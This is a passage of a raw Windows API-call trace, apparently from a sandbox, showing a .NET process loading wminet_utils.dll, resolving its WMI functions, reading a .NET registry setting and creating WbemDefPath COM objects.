lpUsedDefaultChar=0x0) returned 63 [0192.203] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6e540000 [0192.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x12fe8c4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity5cn\x18Ô\x96àðùos\x9cë/\x01\x01", lpUsedDefaultChar=0x0) returned 13 [0192.600] GetProcAddress (hModule=0x6e540000, lpProcName="ResetSecurity") returned 0x6e547a70 [0192.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x12fe8c4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 11 [0192.626] GetProcAddress (hModule=0x6e540000, lpProcName="SetSecurity") returned 0x6e547ac0 [0192.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x12fe8c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicescn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 18 [0192.942] GetProcAddress (hModule=0x6e540000, lpProcName="BlessIWbemServices") returned 0x6e546b60 [0192.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x12fe8b8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 24 [0192.995] GetProcAddress (hModule=0x6e540000, lpProcName="BlessIWbemServicesObject") returned 0x6e546bc0 [0193.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x12fe8c0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 17 [0193.047] GetProcAddress (hModule=0x6e540000, lpProcName="GetPropertyHandle") returned 0x6e547500 [0193.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x12fe8c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValuecn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 18 [0193.061] GetProcAddress (hModule=0x6e540000, lpProcName="WritePropertyValue") returned 0x6e547c30 [0193.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x12fe8cc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 5 [0193.073] GetProcAddress (hModule=0x6e540000, lpProcName="Clone") returned 0x6e546c20 [0193.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x12fe8c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 15 [0193.081] GetProcAddress (hModule=0x6e540000, lpProcName="VerifyClientKey") returned 0x6e547bb0 [0193.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x12fe8c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 15 [0193.097] GetProcAddress (hModule=0x6e540000, lpProcName="GetQualifierSet") returned 0x6e5472c0 [0193.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x12fe8cc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 3 [0193.098] GetProcAddress (hModule=0x6e540000, lpProcName="Get") returned 0x6e547290 [0193.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x12fe8cc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 3 [0193.118] GetProcAddress (hModule=0x6e540000, lpProcName="Put") returned 0x6e5476c0 [0193.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x12fe8cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deletecn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 6 [0193.137] GetProcAddress (hModule=0x6e540000, lpProcName="Delete") returned 0x6e546ff0 [0193.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x12fe8c8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 8 [0193.149] GetProcAddress (hModule=0x6e540000, lpProcName="GetNames") returned 0x6e5474a0 [0193.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x12fe8c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 16 [0193.224] GetProcAddress (hModule=0x6e540000, lpProcName="BeginEnumeration") returned 0x6e546b20 [0193.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x12fe8cc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 4 [0193.233] GetProcAddress (hModule=0x6e540000, lpProcName="Next") returned 0x6e547660 [0193.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x12fe8c4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationcn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 14 [0193.250] GetProcAddress (hModule=0x6e540000, lpProcName="EndEnumeration") returned 0x6e5470b0 [0193.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x12fe8b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 23 [0193.259] GetProcAddress (hModule=0x6e540000, lpProcName="GetPropertyQualifierSet") returned 0x6e547590 [0193.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x12fe8cc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 5 [0193.266] GetProcAddress (hModule=0x6e540000, lpProcName="Clone") returned 0x6e546c20 [0193.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x12fe8c4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 13 [0193.267] GetProcAddress (hModule=0x6e540000, lpProcName="GetObjectText") returned 0x6e5474d0 [0193.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x12fe8c0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 17 [0193.301] GetProcAddress (hModule=0x6e540000, lpProcName="SpawnDerivedClass") returned 0x6e547b10 [0193.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x12fe8c4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 13 [0193.306] GetProcAddress (hModule=0x6e540000, lpProcName="SpawnInstance") returned 0x6e547b40 [0193.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x12fe8c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 9 [0193.307] GetProcAddress (hModule=0x6e540000, lpProcName="CompareTo") returned 0x6e546d10 [0193.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x12fe8c0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 17 [0193.311] GetProcAddress (hModule=0x6e540000, lpProcName="GetPropertyOrigin") returned 0x6e547560 [0193.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x12fe8c4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 12 [0193.316] GetProcAddress (hModule=0x6e540000, lpProcName="InheritsFrom") returned 0x6e5475c0 [0193.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x12fe8c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 9 [0193.351] GetProcAddress (hModule=0x6e540000, lpProcName="GetMethod") returned 0x6e547410 [0193.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x12fe8c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 9 [0193.354] GetProcAddress (hModule=0x6e540000, lpProcName="PutMethod") returned 0x6e547890 [0193.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x12fe8c4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 12 [0193.357] GetProcAddress (hModule=0x6e540000, lpProcName="DeleteMethod") returned 0x6e547010 [0193.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x12fe8bc, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationcn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 22 [0193.358] GetProcAddress (hModule=0x6e540000, lpProcName="BeginMethodEnumeration") returned 0x6e546b40 [0193.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x12fe8c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodcn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 10 [0193.358] GetProcAddress (hModule=0x6e540000, lpProcName="NextMethod") returned 0x6e547690 [0193.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x12fe8bc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 20 [0193.376] GetProcAddress (hModule=0x6e540000, lpProcName="EndMethodEnumeration") returned 0x6e5470d0 [0193.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x12fe8bc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 21 [0193.376] GetProcAddress (hModule=0x6e540000, lpProcName="GetMethodQualifierSet") returned 0x6e547470 [0193.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x12fe8c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 15 [0193.377] GetProcAddress (hModule=0x6e540000, lpProcName="GetMethodOrigin") returned 0x6e547440 [0193.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x12fe8c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 16 [0193.378] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_Get") returned 0x6e547920 [0193.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x12fe8c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 16 [0193.381] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_Put") returned 0x6e5479b0 [0193.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x12fe8bc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 19 [0193.385] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_Delete") returned 0x6e5478e0 [0193.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x12fe8bc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 21 [0193.401] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_GetNames") returned 0x6e547950 [0193.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x12fe8b4, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 29 [0193.404] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6e5478c0 [0193.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x12fe8c0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 17 [0193.405] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_Next") returned 0x6e547980 [0193.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x12fe8b4, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 27 [0193.409] GetProcAddress (hModule=0x6e540000, lpProcName="QualifierSet_EndEnumeration") returned 0x6e547900 [0193.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x12fe8b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 23 [0193.410] GetProcAddress (hModule=0x6e540000, lpProcName="GetCurrentApartmentType") returned 0x6e5472c0 [0193.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x12fe8bc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 20 [0193.413] GetProcAddress (hModule=0x6e540000, lpProcName="GetDemultiplexedStub") returned 0x6e5472e0 [0193.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x12fe8bc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi5cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 21 [0193.417] GetProcAddress (hModule=0x6e540000, lpProcName="CreateInstanceEnumWmi") returned 0x6e546f20 [0193.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x12fe8c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmicn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 18 [0193.421] GetProcAddress (hModule=0x6e540000, lpProcName="CreateClassEnumWmi") returned 0x6e546e50 [0193.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x12fe8c4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 12 [0193.421] GetProcAddress (hModule=0x6e540000, lpProcName="ExecQueryWmi") returned 0x6e5471c0 [0193.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x12fe8b8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 24 [0193.428] GetProcAddress (hModule=0x6e540000, lpProcName="ExecNotificationQueryWmi") returned 0x6e5470f0 [0193.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x12fe8c4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmicn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 14 [0193.430] GetProcAddress (hModule=0x6e540000, lpProcName="PutInstanceWmi") returned 0x6e5477c0 [0193.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x12fe8c4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi\x03\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 11 [0193.432] GetProcAddress (hModule=0x6e540000, lpProcName="PutClassWmi") returned 0x6e5476f0 [0193.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x12fe8b8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 24 [0193.433] GetProcAddress (hModule=0x6e540000, lpProcName="CloneEnumWbemClassObject") returned 0x6e546c40 [0193.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x12fe8c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 16 [0193.435] GetProcAddress (hModule=0x6e540000, lpProcName="ConnectServerWmi") returned 0x6e546d40 [0193.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x12fe8c4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo\x045cn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 12 [0193.438] GetProcAddress (hModule=0x6e540000, lpProcName="GetErrorInfo") returned 0x6e547330 [0193.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x12fe8c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initializecn\x18Ô\x96àðùos\x9cë/\x01", lpUsedDefaultChar=0x0) returned 10 [0193.460] GetProcAddress (hModule=0x6e540000, lpProcName="Initialize") returned 0x6e5475e0 [0193.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe878 | out: phkResult=0x12fe878*=0x510) returned 0x0 [0193.462] RegQueryValueExW (in: hKey=0x510, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x12fe894, lpData=0x0, lpcbData=0x12fe890*=0x0 | out: lpType=0x12fe894*=0x0, lpData=0x0, lpcbData=0x12fe890*=0x0) returned 0x2 [0193.462] RegCloseKey (hKey=0x510) returned 0x0 [0193.463] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12ff10c | out: pAptType=0x12ff10c*=1) returned 0x0 [0193.463] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12ff110 | out: ppvObject=0x12ff110*=0x0) returned 0x80004002 [0193.463] IUnknown:Release (This=0x135504c) returned 0x0 [0193.486] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x12fed64 | out: lpiid=0x12fed64) returned 0x0 [0193.487] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fea70 | out: ppv=0x12fea70*=0x1399878) returned 0x0 [0194.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x1399878, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fec8c | out: ppvObject=0x12fec8c*=0x0) returned 0x80004002 [0194.394] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1399878, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fec98 | out: ppvObject=0x12fec98*=0x13a4480) returned 0x0 [0194.395] WbemDefPath:IUnknown:Release (This=0x1399878) returned 0x0 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe8bc | out: ppvObject=0x12fe8bc*=0x13a4480) returned 0x0 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe878 | out: ppvObject=0x12fe878*=0x0) returned 0x80004002 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe46c | out: ppvObject=0x12fe46c*=0x0) returned 0x80004002 [0194.395] WbemDefPath:IUnknown:AddRef (This=0x13a4480) returned 0x3 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe1cc | out: ppvObject=0x12fe1cc*=0x0) returned 0x80004002 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe17c | out: ppvObject=0x12fe17c*=0x0) returned 